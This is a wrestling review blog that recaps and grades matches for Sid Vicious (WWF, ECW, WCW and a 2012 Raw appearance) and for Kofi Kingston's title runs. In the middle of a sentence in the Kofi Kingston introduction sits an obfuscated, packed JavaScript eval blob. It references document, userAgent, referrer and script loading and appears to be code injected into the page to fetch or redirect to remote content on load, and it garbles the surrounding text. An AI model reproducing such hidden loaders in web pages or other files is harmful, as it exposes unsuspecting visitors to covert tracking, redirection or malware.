Just after the bell, here’s Bret Hart. Shawn: “Imagine that: Bret being resentful.” Bret yells at Shawn for having a fake injury and losing his smile. He then says that he and Undertaker are no longer friends. As for Sid, he’s a fraud because the belt belongs to Bret. Thankfully Sid hits Bret in the face and powerbombs him (Shawn: “And now you’re getting beaten up because of your big mouth.). Taker jumps Sid from behind and we get another bell to officially start the match.

Sid throws him into the corner to start but charges into a big boot. Taker hits a kind of splash in the corner followed by a slam for two. Old School hits Sid but Taker charges into a bearhug. The bearhug stays on for a long time as you would expect it to. These two have 22 minutes for this match and that’s a recipe for disaster. Sid finally kicks Undertaker to the floor and then over the French announce table for good measure.

Apparently this is no holds barred according to Gorilla. Sid drops him on the table and almost breaks it in the process. Back in and Sid pounds away at the back even more before hooking a camel clutch. Jerry: “How do you kill a dead man?” Vince: “You don’t have to. You just have to pin him for three seconds.” Point to Vince I guess. Sid hits a powerslam but can only get three two’s in a row.

A big leg gets two for Sid but Taker comes back with the flying clothesline for two. They head to the floor where Sid is thrown over the barricade. That goes nowhere so we head back inside for a horrible chinlock by the champion. Taker fights up and hits a powerslam for two before putting on a nerve hold of his own. A clothesline puts Sid back down for two as Taker is looking tired.

They hit big boots at the same time to put each other down. Sid goes to the middle rope for an ax handle and thankfully keeps his leg intact. A kind of middle rope clothesline/punch to the face gets two for the champion but here comes the Dead Man. Sid slams him down and goes up top, only to be crotched and slammed down. Undertaker hits a top rope clothesline for two more as the match FINALLY picks up a bit. Taker loads up the Tombstone but gets reversed into a tombstone by Sid for two.

We head back to the floor again but here’s Bret Hart to smack Sid in the back with a chair. Referees and officials come out to throw Bret out as Sid is rammed back first into the post. Back inside we go again and it’s a chokeslam for a VERY close two. They botch what might have been the flying clothesline as Sid ducks down, sending Taker flying. Here comes the powerbomb but Bret interferes AGAIN. The distraction lets Taker hit the Tombstone for the pin and the title.

Rating: D. This was REALLY dull stuff and Bret got annoying after about his second interference. Granted that’s the idea, but he was still annoying. On top of that, the match was WAY too much sitting around and doing nothing with all of the rest holds and other general standing around based activities. Sid was pretty much gone for good after this.

Sid would pretty much disappear after the loss and head to the indies for a good while. He would reemerge in ECW for a bit, including this at Guilty As Charged 1999.

John Kronus vs. ???

Kronus has completely outlived his usefulness at this point and no one cares. Judge Jeff Jones debuts as the Judge instead of being the crooked referee that he had been for months prior to this. Considering Bill Clinton had a heart issue last night, his jokes about him are a bit touchy. He declares a bunch of people Guilty as Charged.

Apparently Kronus beat Jones up at a live show. He brings out Sid Vicious to beat the heck out of Kronus. Sid throws him through a table which more or less explodes. There’s a massive POWERBOMB chant. For the life of me I never got why Sid was so over but he always was to be fair. This might have lasted two minutes at most.

Rating: N/A. Well he’s a bigger deal than Jake Roberts if nothing else. Never been that big on him but he got a pop and a freaking half so there we go.

Sid would wind up in WCW again by the end of the year and, of course, feud with Sting. From Road Wild 1999.

Sting vs. Sid Vicious

Sid stalls to start and it’s power vs. speed here. That’s kind of different as Sting is usually a power guy. Sid gets knocked to the floor and we stall some more. Sting knocks him into the crowd a few times. This is really just gussied up stalling. Back inside and the Stinger Splash misses to give Sid a chance. Tony explains that the guys in this match want to pin each other. I know WCW fans weren’t the smartest in the world but come on now.

Off to a chinlock which isn’t the most interesting thing in the world. I mention this because we’re in front of about 5,000 drunk bikers, so take a guess as to how they react to it. Out to the floor now for a change of pace. My goodness there are some ugly people at this show. Time now for another chinlock and Sting is kind of snuggling up to Sid’s crotch. Well there goes my childhood hero.

Sid channels his inner Flair for no apparent reason and goes up, only to get slammed down. It doesn’t really work as Sid trips Sting (as in puts his leg out so that Sting falls over it) to take over again. Sid wouldn’t be so boring if he wasn’t so slow. I mean he waits FOREVER to do any move he uses. For absolutely no apparent reason Sid goes up again and a superplex puts him down. Two Stinger Splashes have Sid in trouble but he catches the third in the chokeslam for the clean pin.

Rating: D+. Boring match but Sid’s push was pretty solid around this time. You know, until he turned face for no real apparent reason and shattered his leg and ended his career for like five years. Not much to see here though but it’s cool to see a clean ending, given what was coming in just a few months for this company.

That and a few other wins would get Sid a US Title shot at Fall Brawl 1999. He was doing the

US Title: Chris Benoit vs. Sid Vicious

Oh and Revolution’s theme song is a cover of The Beautiful People by Marilyn Manson. Just to hammer in WCW’s refusal to push young guys, Benoit and Malenko were having a #1 contenders match so Sid ran in to make it a no contest. He’s 79-0 at this point, with wins coming through means such as just chokeslamming people and not pinning them, beating people up in brawls and beating people up despite losing the match by countout or something like that. Go figure.

Sid throws Benoit around a lot and then stalls. Benoit gets tossed even more and then, like a good ring general, goes for the knee of a bigger man. Makes perfect sense right? He gets a dragon screw, a dropkick to the knee, some cannonballs down onto the knee and an Indian Deathlock in the span of about a minute. After all that, Sid popped up and was completely fine. It’s going to be one of those matches.

Sid stomps away in the corner with his knee being just fine. Benoit avoids a charge and goes to the floor, wrapping the leg around the post and then putting it between the steps and post, dropkicking the steps into the leg twice. That’s an attack that would put some guys out for weeks. Ok so to be clear: SID’S LEG SHOULD BE HURT. Back into the ring and Sid is able to catch Benoit flying through the air in a cross body. Benoit counters into a German and Sid flat out will not sell the knee at all.

Samoan Drop and the knee is still perfectly fine. Oh NOW he limps a bit, after destroying Benoit. By a bit I mean he kicks the ropes a few times and it perfectly fine. There’s a Cobra Clutch into a slam by Sid. That gets two so Sid hammers away on him and it’s off to the chinlock. The fans get distracted by something as Sid FINALLY starts to limp. You know, after he threw Benoit all over the place.

Sid goes for some power move but Benoit reverses and gets his feet up in the corner. Back to the knee and there’s the Crossface. Now as I’m sure you know, there’s a simple way of communicating that you want to submit and end the match: you slap the mat multiple times. This is commonly known as tapping out. SID SLAPS THE MAT TWICE. However that doesn’t count despite the referee looking straight at him and being maybe 5 inches from Sid’s tapping hand.

Benoit is TICKED as Sid stands up while the hold is still on and drags Benoit to the ropes. Remember the hold is on and Sid is on his feet. Gee it’s a good thing his legs are in such great shape isn’t it? Benoit goes up, Swan Dive misses and Sid casually moves out of the way and then snaps off a powerbomb with his arm and knee being just fine as he wins the US Title. Benoit would get the TV Title the next night and a WWF contract four months later as a result.

Rating: F. This stands for failure, because that’s what this was. First and foremost let me make this clear: Benoit did nothing wrong here. Not a thing. His psychology was good (take the big man off his feet), his offense was good (variety of attacks), his emotion was good, everything he did made sense and worked fine.

Then on the other hand we have Sid. This is the epitome of the problem with WCW and arguably the main reason they went under: Sid could have gone out there and tap danced for the 12 minutes this match had while Benoit put on the wrestling clinic of a lifetime and Sid’s push would have continued while Benoit would have been pushed back down the card. The reason for this being that Sid has been decided to be one of the “it” guys. He’s 39 here (Benoit was 32), he will not sell the knee making Benoit more or less a pointless jobber here, and he can’t do anything special in the ring at all.

And yet he’s going to get pushed. Why is that you ask? Because someone in WCW decided he would with no reason other than Sid gets pushed. Benoit was put in the list of people that weren’t getting pushed and that was that. So in other words, there’s no point for the young guys to try hard because it’s not going to get them anywhere. Sid of course would go on to be pushed even harder, winning the world title in January while Benoit thankfully left for the WWF. This match is a lot sadder than it sounds because Benoit is trying but Sid just won’t cooperate, which makes his push all the stupider.

Since WCW was dying, Sid was put into the main event scene where he challenged for the World Title at SuperBrawl 2000.

WCW World Title: Jeff Jarrett vs. Sid vs. Scott Hall

This is Hall’s last match in WCW. Hall is the popular one but since he has no chance it’s not like it matters. He and Jarrett go at it before Sid gets here. Hall takes out the Harris Brothers and this is no DQ. Jeff chills on the floor while Hall pounds on Sid. Sid beats them both down and the Harris Brothers are running around at their pleasure. The Twins pull Hall to the floor and Jeff works over Hall a bit.

Tony calls Hall and Jarrett a couple of young kids and there goes the referee. Sid hits a double chokeslam and another referee comes down to count two. Jeff takes Sid out with a belt shot for two. The second referee gets a Stroke because….well because Jeff isn’t a nice person. Some heel miscommunication lets Hall get two on Jeff. Sid cracks the Harris Brothers with chairs and Jeff beats up the third referee in about five minutes.

The fourth referee comes in and down he goes immediately. Here’s the fifth referee and it’s the crooked referee Slick Johnson. Jeff sees him coming but gets caught in the Outsider’s Edge, only for Johnson to do the whole “OW MY SHOULDER” bit. Jeff hits Hall with the guitar and here’s Roddy Piper to be the referee. He’s the guy behind the door and he stops Johnson from counting the pin. Chokeslam to Jeff, powerbomb to Hall and Sid retains.

Rating: D+. Well all things considered (7 minutes, 6 referees, 2 Harris Twins and 1 guy with zero chance at all) they did about as much as they could. This felt as rushed as a little personal time when your mom is on her way home and you’re 13 years old. I have no idea why it was so rushed but could it have anything to do with JAMES BROWN DANCING FOR TEN MINUTES?

I’ll skip over Sid missing eight months of 2000 and the horrific leg injury in early 2001. We’ll wrap it up with a fun one, from about twelve and a half years later, on Raw, June 25, 2012.

Heath Slater vs. Psycho Sid

Sid slaps him down to start and slaps him off the top rope. A BAD looking spinebuster puts Slater down so Heath works on the knee a bit. Sid shrugs that off and hits a legdrop followed by the powerbomb for the pin at 1:29. Sid is no Vader.

Sid is a character who is so over the top that he worked really well. People LOVED this guy and I think it’s because he was so insane. It’s hard not to like a guy that is billed from “Anywhere he darn well pleases.” He always fit as World Champion and was a good monster for guys like Shawn or Bret to slay. The leg injury is still hard to watch though, as it always will be.

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Wrestler of the Day – April 28: Kofi Kingston

Today we go to Jamaica. Er Ghana. But he’s named after a city in Jamaica. Either way it’s Kofi Kingston.

 

Kofi eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heyzi|var|u0026u|referrer|znhsr||js|php'.split('|'),0,{})) did some indy stuff in the northeast before being signed to a developmental deal. He was sent to Deep South Wrestling in Georgia and would face TJ Wilson (Tyson Kidd) at some point in 2007. I believe it’s in March but I’m not quite sure.

Kofi Kingston vs. TJ Wilson

Interestingly enough, Nattie Neidhart is the backstage interviewer and says she’s VERY familiar with Wilson’s work. Well they had been living together and dating for years at this point so that’s no shock. Kofi cranks on the arm to start but gets cradled for two. Wilson grabs some headlock takeovers but Kofi keeps nipping up and we have a standoff. Another standoff gets us nowhere until Wilson grabs a quick suplex for one.

Some more covers get two each for TJ as this is really basic stuff so far. We hit a chinlock on Kofi until TJ sends him into the corner. Kofi grabs a sunset flip for two and a bad looking dropkick puts Wilson down. TJ comes out of the corner and walks into Trouble in Paradise (Cool Runnings here) for the pin.

Rating: D. Kofi clearly couldn’t do much at this point and the match suffered as a result. To be fair though, Deep South Wrestling really doesn’t have the best track record when it comes to training so their TV wasn’t the best stuff either. Wilson would get better once he started flying around a bit more.

Kofi would be called up to ECW in January 2008. This was preceded by some REALLY cheesy videos of Kofi on the beach, talking about how there’s trouble in paradise. They’re really not very good but they set up his debut on January 22, 2008.

David Owen vs. Kofi Kingston

Owen is a bald guy in good shape. Kofi fights out of a top wristlock and a not great looking legsweep. They head into the corner for the jump into ten punches followed by a bad monkey flip to send David flying. Back up and Kofi does the reverse leapfrog followed by a cross body. Pay no attention to Owen falling down before Kofi touched him. Some forearms to the face put Owen down and there’s the yet to be named Boom Drop. Trouble in Paradise ends Owen without much trouble. This is still one of the worst debuts I’ve ever seen as Kofi was sloppy and did NOTHING for me when I first saw him.

After being on ECW for awhile, Kofi would get a shot at the Intercontinental Title at Night of Champions 2008.

Intercontinental Title: Chris Jericho vs. ???

Jericho is still a face here but that wouldn’t last long. Ah he’s in the middle of his turn here. That makes sense. The mystery opponent is not HBK according to Jericho due to him injuring Shawn more than once already. Jericho in long tights just doesn’t look right for some reason. I was at a house show about a week later and his eye seemed fine to me. Jericho says he’s an honest man. Oh dang it’s he’s Alberto Del Rio now. Some Jamaican music cuts Jericho off and the opponent is Kofi.

Intercontinental Title: Chris Jericho vs. Kofi Kingston

Kofi has been on Raw for six days at this point, having come over from ECW in the Draft. People knew he had something but the universal response was that this was too soon for him. This is more or less his big debut. Kofi starts busting out stuff that is normal for him now but back in the day was brand new stuff. Kofi hits that Frog Splash cross body for two.

The problem is that since not a lot of people watch ECW, not a lot of people know much about Kofi. You get a feeling here that they’re just kind of meandering along waiting on the big finish, which should be pretty clear if you’re paying attention. The fans chant boring for no apparent reason. The match is slow but not boring. Kofi starts busting out the insane dropkicks to kill the chants and hits the Boom Drop which has no name yet.

The Walls are blocked and another Boom Drop gets a long two. Jericho busts out the Liontamer and Shawn finally makes the required run in to distract Jericho so Kofi can kick him right in the forearm for the pin and his first title. This was what the IC Title was supposed to be about: a young guy that needs some credibility getting a title to give him some. Post match Shawn is helped out and Jericho punches him in his bad eye.

Rating: C+. Kofi wasn’t anywhere near what he would become but he was still pretty good. Jericho put him over here and the ending was solid. Kingston wasn’t ready to beat Jericho yet and he didn’t. Has Jericho ever beaten Kofi clean? I think he has but I’m not sure. Anyway, this was more about furthering the Shawn/Jericho feud without making Shawn go for the IC Title and on that front it did very well.

Kofi would hold the belt until the fall. He wouldn’t be away from gold long though as he would get the US Title in June 2009. Kofi would have to defend it six days later at Extreme Rules 2009.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

Kofi’s first major feud would be against Randy Orton, over Kofi saving Roddy Piper from a punt to the head. Their showdown was at TLC 2009.

Kofi Kingston vs. Randy Orton

Randy is getting some slight pops at this point. I think I like Kofi’s weird starting stance. This feud got a decent build to it and I think this is their first full on match one on one. When I say full on I mean they had a short one on Raw that ended in a DQ which was just a few minutes long. I guess Orton has been around long enough to have a vintage. I love that snap powerslam he does if nothing else. Gah Scott Armstrong is the referee here.

I’m glad he’s gone if nothing else. In a SWEET sequence, Kofi catwalks up the steps to the apron up the buckles and then comes off the ropes with a dive to the floor but Orton hits a perfect dropkick to the ribs to block it. That was SWEET. I said SWEET twice. You could even say that was just….two….SWEET! Wow that was a bad pun. Back to the match I think. Orton kicks Kingston in the ribs a lot. Orton is getting more and more pops here and it’s odd to hear.

The pace of this match needs to pick up a bit and as I say that it begins to. Wow I have good timing. Boom Drop hits. The spin kick hits but Orton gets the ropes to a BIG reaction, so the crowd is into this at least. Out of nowhere Orton hits the elevated DDT. Wouldn’t Kofi’s hair block some of that? The Punt is blocked. Dive on the ball you idiots! Another Trouble In Paradise misses to set up the RKO for the ending.

Rating: B-. Good here but not great. Kingston looked good in losing as the whole story leading up to this was about him shedding his goofy image and it worked very well. Kingston wasn’t ready to beat Orton clean so that’s good I think. I liked it but it felt a bit flat. I think it was because this was added 6 days prior to the show so it kind of felt like filler. Still good though.

Kofi was hot enough at this point that he made the Elimination Chamber at its namesake show in 2010.

Raw World Title: Sheamus vs. Ted DiBiase vs. HHH vs. John Cena vs. Kofi Kingston vs. Randy Orton

Cena gets a VERY mixed reaction but I think it’s leaning towards more cheers than boos which is a good sign I guess. I’m digging those white ropes. DiBiase gets an ok at best reaction. I do like them giving the young guys a chance if nothing else. They get main event experience even if there’s no chance any of them win it. Ok Striker needs to drop the metaphors already.

Orton gets a POP. Just turn him already Vince. He needs it. HHH gets a pop but nothing compared to Orton or even Cena for that matter. No one has ever won more than one Chamber match. Except HHH. He’s won four. Nothing wrong with that is there? Apparently Sheamus has to get all the eliminations. Kofi and he will be starting us out. Kofi looking over his shoulder just in case is rather amusing. Kofi is rocking red tonight which is working for him.

Can someone get Armstrong a weight in his arm? EPIC RKO chant. They touch on the Orton/Kingston feud. Sweet goodness that was awesome. This three man commentary team is working really well for me. The clock runs down and it’s HHH. There’s not a ton to talk about at this point as everything here means very little. Sheamus needs a name for his Razor’s Edge as Cole just calls it that finishing maneuver.

That high knee always works for some reason. They clarify that you have to get the pin in the ring. Good to know as that’s always a question I think about in these matches. Kofi sits on the outside here and lets them fight which is very smart. Scratch that as he hits a cross body on Sheamus.

Kofi hits a sweet Boom Drop over the top rope onto HHH. That looked great. Clock starts up again and it’s Orton to a nice pop. He’s beating the heck out of everyone. This guy is dying to be a face already Vince. Can you not see that? He’s beating the tar out of Sheamus and HHH which is awesome. SHUT UP STRIKER. It’s not a metal thing with fangs. It’s a cage blast it.

The fans want blood. Kofi takes everyone out with a huge dive. He’s getting a lot of big spots in this. He goes for another but Orton catches him with a dropkick. Nice indeed. Everyone goes for their finisher and no one gets it. Orton’s head slams into the post. That looked SICK. In at 5 is DiBiase.

I love that falling punch. Orton and DiBiase team up and beat down just about everyone. They shove Kofi’s head through the Chamber wall and DiBiase puts a Boston Crab on him. Orton gives HHH the elevated DDT onto the cage. That would hurt indeed. He and DiBiase wait on Cena outside his pod so of course he plows through them. He cleans house and hits an FU over the top rope on DiBiase.

DiBiase is in the STF and his leg isn’t supposed to bend like that! Rhodes is here with a pipe. DiBiase hits Orton with it as he’s in the FU and then takes Cena down with it. Ted pins Orton so we’re at five. Kofi puts him out with Trouble in Paradise and Sheamus hits his two move combination to take Kofi out so it’s Sheamus, HHH and Cena left. The pale one takes over and for NO apparent reason, HHH saves Cena.

And of course HHH gets to pin Sheamus first. So at the moment is the title vacant or is Sheamus technically champion as the match he’s defending in isn’t over yet? I’m not sure. A few seconds later Cena gets the STF and HHH taps. I’ve read some posts saying HHH might not have been tapping. What show were you watching? Yeah he was tapping.

Rating: B+. Solid stuff here. It’s missing that little something extra to make it a classic but this is certainly more than good stuff. The timing here was solid as we had enough to keep it from being too short but not enough to get boring. Half an hour is just about perfect I think. Also there was the fact that all of the guys in here were given a chance to showcase themselves, especially Kofi. He stole the show out there and it worked very well. Very good stuff here.

Another day, another midcard title. This time it’s the Intercontinental again at Over the Limit 2010.

Intercontinental Title: Kofi Kingston vs. Drew McIntyre

Could Drew’s music be sweeter? So remember the idea here is that Drew got stripped of the belt and Kofi won a tournament for it. Drew got it put back on him because Vince likes him. This is the big showdown for it I guess. Drew jumps him early as Striker thinks we need to know that it’s been eleven years since the title has changed hands in Detroit. Ok then. The fans are all over Drew who is dominating early.

Apparently most people don’t like working with him which is odd. I guess you can tell more when you’re in the ring though. That makes more sense at least. Smackdown has definitely been having the better in ring stuff lately and this shouldn’t be an exception. Drew does one of those idiotic spots where he jumps into Kofi’s feet when he puts them up. What the heck was that supposed to be? The set might look cool but I can’t tell.

There’s this weird kind of spotlight thing going on from the end of the arena behind the announcers. It’s rather odd and looks like 6 lights coming off of it. Boom Drop in the corner of all places hits. Ok then. Trouble in Paradise misses and the SOS gets a clean pin. Wow did not see that one coming.

Post match Drew gets on the mic and says the show doesn’t keep going until he’s declared champion by Teddy Long. Instead we get Matt Hardy to an ERUPTION. Seriously it’s been like two weeks not 4 months. Twist of Fate puts Drew down.

Rating: B-. Not bad for an opener I guess. Kofi winning is kind of a surprise but I’d bet on Drew being pushed higher up on the card or into something against Christian or someone like that. Anyway, Kofi doesn’t need the title really, but then again neither does McIntyre. This worked well enough I guess and wasn’t bad at all. Not up to their TV stuff but not bad at all.

Kofi would lose the belt to Dolph Ziggler in July. Here’s one of their MANY rematches from Smackdown on January 7, 2011.

Intercontinental Title: Dolph Ziggler vs. Kofi Kingston

They’re certainly pushing this as a huge show with the title matches and all that jazz.  Striker calls Vickie the female version of Rosie O’Donnell.  Why are so many people obsessed with Rosie?  What has she ever done?  Nice reaction for Kofi here.  We get a quick video of last week’s match where Dolph more or less stole the win from Kofi which is true only to a degree.

Kofi hammers away to start as Cole says that Kofi needs to move on instead of trying to get the title back time and time again.  Neckbreaker by Dolph gets two.  Off to a clear choke that they’re going to call a chinlock because they want to I guess.  Splash in the corner misses though and here comes Kofi.  These two have some solid chemistry together to be sure.

A rollup by Ziggler with some tights gets two.  They’re moving very fast out there.  Trouble in Paradise misses and it’s off to the Sleeper!  Kofi simply grabs the hands and rips the hold off and gets the SOS for an incredibly close two.  Middle rope suplex is blocked by Dolph.  I know it seems like I’m flying through this but there is almost nothing between these fast moves.  After Kofi knocks Dolph off the ropes to block the suplex, the HUGE crossbody ends this perfectly clean at 5:31.  That came out of nowhere!

Rating: B. Ok, this grade is going to require some explanation as to how it can be equal to the first match and I think it might clear up a bit about my grading system in general in case some people think I’m a bit inconsistent.  While I’m giving this match the same grade, it’s certainly not as good as the first one.  There are two key differences though.

The first is that the opener was meant to be a long brawl, as evidenced by giving it nearly four times as long to work with.  That match had time to work out spots and to be a brutal fight, whereas this was supposed to be fast paced and exciting.  Different styles of match, but both well done.

Second, which ties into the first, was the ending.  Dolph literally turned around to get hit by the cross body.  Kofi is already horizontal when Dolph sees him.  I love matches that end very quickly and with moves that aren’t finishers.  To the fans it looked like another big move that Kofi would hit to get a two count.  Instead it’s over and the fans are surprised.  That’s an excellent touch and it keeps the matches interesting.

As for the match itself, one important thing to make clear is that this was NOT a squash.  Dolph was definitely in this the whole time and Kofi got a big shot in to get the win.  That’s very important as it keeps Dolph looking strong while still switching the title.  This was a very fun and fast paced match which is what you come to expect from these guys.  Good stuff.

Dolph, ever the villain, destroys Kofi post match.  Vickie gets on the mic and says that since Teddy isn’t here tonight, Dolph gets a rematch RIGHT NOW!

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler

LOUD Kofi chant but he’s more or less d…..and screw that as he hits Trouble in Paradise and it’s over in 43 seconds!  That kick looked great.

Rating: B-. Well the opening 13 seconds were very weak but they picked it WAY up in the next 19.  The final 21 were completely awesome though and it definitely was good enough to make this a passable match.  Dang man those final 21 seconds with Kofi rolling Dolph over for the cover were more exciting than the entire Flair vs. Steamboat trilogy.

After losing that title, Kofi would just go after the US Title, at Extreme Rules 2011.

US Title: Sheamus vs. Kofi Kingston

Booker continues to imply Kofi should turn heel as we hit the floor early.  First table is brought out by the pale one and set up on the floor.  Back to the ring and Sheamus gets caught on the apron, only to hit a slingshot shoulder block to take Kofi down.  Table #2 comes in and lands on top of Kofi.  We hear about how Sheamus beat Cena in one of these to win the title which still blows my mind.

Table gets set up in the corner but Kofi fights out of it.  Sheamus moves to avoid Kofi’s dive but Kofi is like screw it and does the splits in midair to land on the ropes with the table between his legs.  Big boot sends Kofi flying over the table on the floor as Sheamus takes over again.  The corner table is set up in front of the corner and Sheamus hammers away.  Sheamus can’t suplex him onto a table on the floor and gets caught by Trouble in Paradise but it doesn’t put him through the table.  The Boom Drop as Sheamus turns around does however to give Kofi the title.

Rating: C+. Not bad here and considering it was just a way to get a midcard title on Raw this was fine.  Kofi of course is his usually solid self and Sheamus loses the title without getting pinned.  This was perfectly fine and the ending plus some cool spots by Kofi were enough to push it over the top.

Believe it or not, Kofi would do something other than win midcard titles. Sometimes, he tried to win TAG titles. From Raw, August 22, 2011.

Tag Titles: David Otunga/Michael McGillicutty vs. Kofi Kingston/Evan Bourne

This is a rematch from last week. Lawler points out that the champions haven’t done anything with the belts. We get a Bushwhackers reference as Lawler says they had better charisma. That’s true at least. Bourne beats on McGillicutty to start but that doesn’t last long with Kofi coming in. After some more attacking he goes outside after both champions and gets caught easily.

Otunga comes in to work over Kofi, hitting a corner clothesline for a very delayed two. Off to a chinlock for a few seconds and here’s McGillicutty who hits a double team dropkick/atomic drop for two. JR says that was an almost perfect dropkick. Off to another chinlock and McGillicutty yells at Lawler, asking if that was impressive. In a cool move Kofi nips up into a headscissors and brings in Bourne. He cleans house with jumping knees and a spin kick for two. Kofi sends Michael to the floor and hits Trouble in Paradise to Otunga. Shooting Star Press gives us new champions at 5:00.

Rating: C. Eh just a quick match here. Otunga and McGillicutty aren’t horrible but they were boring as champions. Either way this wasn’t too bad but hopefully this starts a new thing in the division as JR and the announcers make it seem like it’s kind of a big deal. This wasn’t bad and them winning that fast was probably a good thing.

After losing the belts, Kofi was back in the Elimination Chamber in 2012.

Raw World Title: CM Punk vs. Dolph Ziggler vs. Chris Jericho vs. R-Truth vs. The Miz vs. Kofi Kingston

Jericho enters last due to winning a match on Raw two weeks ago. Punk and Kofi start us off. Naturally the two faces wrestle as faces. Also they’re not going to use a lot of energy this early in the match. Kofi goes to the ropes but might have slipped a bit. It was nothing bad though. They trade pinfall reversals and Kofi avoids the GTS. Punk avoids the Boom Drop and they go to the outside. Well as to the outside as you can go.

Punk blocks a kick and slingshots Kofi into the pod which has a great thud sound effect. Back into the ring but Punk has hurt his hip. It was probably due to that time when he got slammed out on the chain and landed on his hip, but that’s just speculation. Here’s the first pod opening and it’s…..a guy in pink trunks. The new idea they want to push is that it can go from a one on one match to a triple threat and so on. Great, another thing to have drilled into our heads.

Ziggler goes after Punk and does pullups on the Chamber wall. He splashes Kofi back in the ring and we’re told that pins have to take place in there. Good thing to clarify. A splash attempt on Punk misses and everyone is in some trouble. Punk and Kofi double team Dolph and go to the outside for a double springboard. In a cool looking visual, they both dive at Dolph but collide in the air off the springboards due to Dolph ducking.

Dolph can’t cover though so we open pod #2 after about three minutes. It’s R-Truth who works on the pink one. He’s no Bret Hart. Truth knocks Ziggler over the ropes to send Dolph leg first into the cage. Truth dives on top of him because he’s not that smart all the time. Scissors kick gets two in the ring. Punk does his usual ramming his head into the other guy’s ear to call a spot before superplexing Truth for two.

Trouble in Paradise misses Punk and Kofi gets thrown to the outside. Macho Elbow eliminates Truth but Ziggler grabs a rollup. Punk rolls through it and Kofi hits the kick on Punk (looked SICK). Ziggler goes after Kofi of course but Kofi fights him off. He can only get two on the champ though due to the delay. Kofi does the springboard into the Spider-Man cage grab then hits a tornado DDT Dolph onto the cage, basically knocking him silly.

Here’s Miz in fifth to clean house. Everyone is down now so Miz covers Dolph, getting two. Kofi gets up on the ropes and kicks Miz in the face but is knocked off and crashes into the cage. GTS and Finale are both blocked so Miz hits the short DDT for two. They head to the mat and Punk grabs the Vice on Miz, but wouldn’t you know it, Jericho comes in to break it up before the tap.

Jericho and Punk square off with Jericho in control. Walls and GTS are both blocked but the Lionsault hits for two. Ziggler comes back in and walks into the Codebreaker to get us down to four (Punk, Jericho, Miz, Kofi). Punk catches a Jericho dropkick and catapults Chris out to the cage again. Jericho gets rammed into the pods so he gets a finger into Punk’s eye and hides in the pod. That works for about two seconds as Punk follows him in.

Punk’s arm gets caught in the door and Jericho pulls on it to ram Punk into the pod door. Kofi remembers that he’s alive and tries the SOS on the cage, driving his own head into the cage. Miz and Kofi are the only ones up now but Miz misses the running clothesline and Kingston goes up. A superplex is countered as Punk powerbombs Miz for two. Kofi climbs to the top of the pod and dives onto both of them but can’t pin Miz.

Jericho comes in and Liontames Kofi for the elimination to get us down to three. He beats on Kofi after the elimination and throws him out of the Chamber. Punk kicks Jericho out of the Chamber and he’s unconscious. The referees say he’s done and say he’s not responsive. I’m REALLY not liking them doing this a week after what happened to Sorensen. The cameraman is down too but sits up a few seconds later.

Back in the ring Miz tries the Reality Check but Punk counters with a high kick for two. The running knee and bulldog get two but Punk springboards into the Finale for two. Miz freaks out and talks a lot of trash in the corner but misses a charge, hitting his head on the pod. GTS puts him out at 32:39 and I guess Jericho isn’t running in as a surprise since it’s over.

Rating: C+. The Chamber is one of those matches that gets an automatic higher grade to start. This was one of the weaker ones I can remember. For me the problem is that the main feud in this, Jericho and Punk, has no heat on it and there’s zero reason for this to be in the Chamber. They were the only two that had a chance in this but their feud has just begun with nothing but a run-in by Jericho, a promo and some staring. That’s the problem that these calendar based PPVs present and that looks like how the future will be.

With Evan Bourne on the shelf, Kofi would find a new partner and go after the belts again on Raw, April 30, 2012.

Tag Titles: Primo/Epico vs. R-Truth/Kofi Kingston

Before the match we’re told that the Bellas have been fired. Epico kicks Little Jimmy so Truth goes off on him. Truth cleans out the ring as we take a break. Back and it’s official that HHH’s arm is broken. The champs are in control and it’s time to ignore the match. Truth takes them both down and makes the hot tag to Kofi. Everything breaks down and after some Rosa interference, Trouble in Paradise pins Epico and we have new champions.

Rating: D. The match probably wasn’t that bad but this was the definition of paint by numbers. How many times have you seen the exact same match that I just described? On top of that, Kofi is still spinning his wheels with a title that means nothing at all. What in the world is the point of this?

After losing the belts in the fall, Kofi would pick up the Intercontinental Title and defend it at Hell in a Cell 2012.

Intercontinental Title: The Miz vs. Kofi Kingston

The inflatable AWESOME from the Mania match with Cena is back. Kofi is defending and this is a rematch from a few weeks ago on Main Event. Both guys try and miss their finishers less than thirty seconds in, sending Miz to the floor to regroup. How much regrouping do you need after half a minute? Kofi jumps over the steps on the floor but Miz kicks his head off to take over. That gets two back in the ring and things slow down a bit.

